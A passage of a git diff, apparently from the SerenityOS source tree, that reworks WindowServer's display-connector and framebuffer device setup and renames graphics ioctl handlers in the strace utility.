add_unconfigured_display_connector_devices();
if (!WindowServer::Screen::apply_layout(move(screen_layout), error_msg)) {
dbgln("Failed to apply generated fallback screen layout: {}", error_msg);
@@ -123,12 +101,9 @@ ErrorOr<int> serenity_main(Main::Arguments)
if (screen_layout.load_config(*wm_config, &error_msg)) {
for (auto& screen_info : screen_layout.screens)
- if (screen_info.mode == WindowServer::ScreenLayout::Screen::Mode::Device || screen_info.mode == WindowServer::ScreenLayout::Screen::Mode::DisplayConnectorDevice)
+ if (screen_info.mode == WindowServer::ScreenLayout::Screen::Mode::Device)
fb_devices_configured.set(screen_info.device.value());
- // FIXME: Remove this once framebuffer devices are removed.
- add_unconfigured_framebuffer_devices();
-
add_unconfigured_display_connector_devices();
if (!WindowServer::Screen::apply_layout(move(screen_layout), error_msg)) {
diff --git a/Userland/Utilities/strace.cpp b/Userland/Utilities/strace.cpp
index 449480c476..f39a5239cb 100644
--- a/Userland/Utilities/strace.cpp
+++ b/Userland/Utilities/strace.cpp
@@ -144,8 +144,8 @@ HANDLE(TIOCSTI)
HANDLE(TIOCNOTTY)
HANDLE(TIOCSWINSZ)
HANDLE(GRAPHICS_IOCTL_GET_PROPERTIES)
-HANDLE(GRAPHICS_IOCTL_GET_HEAD_PROPERTIES)
-HANDLE(GRAPHICS_IOCTL_SET_HEAD_RESOLUTION)
+HANDLE(GRAPHICS_IOCTL_SET_HEAD_MODE_SETTING)
+HANDLE(GRAPHICS_IOCTL_GET_HEAD_MODE_SETTING)
HANDLE(GRAPHICS_IOCTL_SET_HEAD_VERTICAL_OFFSET_BUFFER)
HANDLE(GRAPHICS_IOCTL_GET_HEAD_VERTICAL_OFFSET_BUFFER)
HANDLE(GRAPHICS_IOCTL_FLUSH_HEAD_BUFFERS)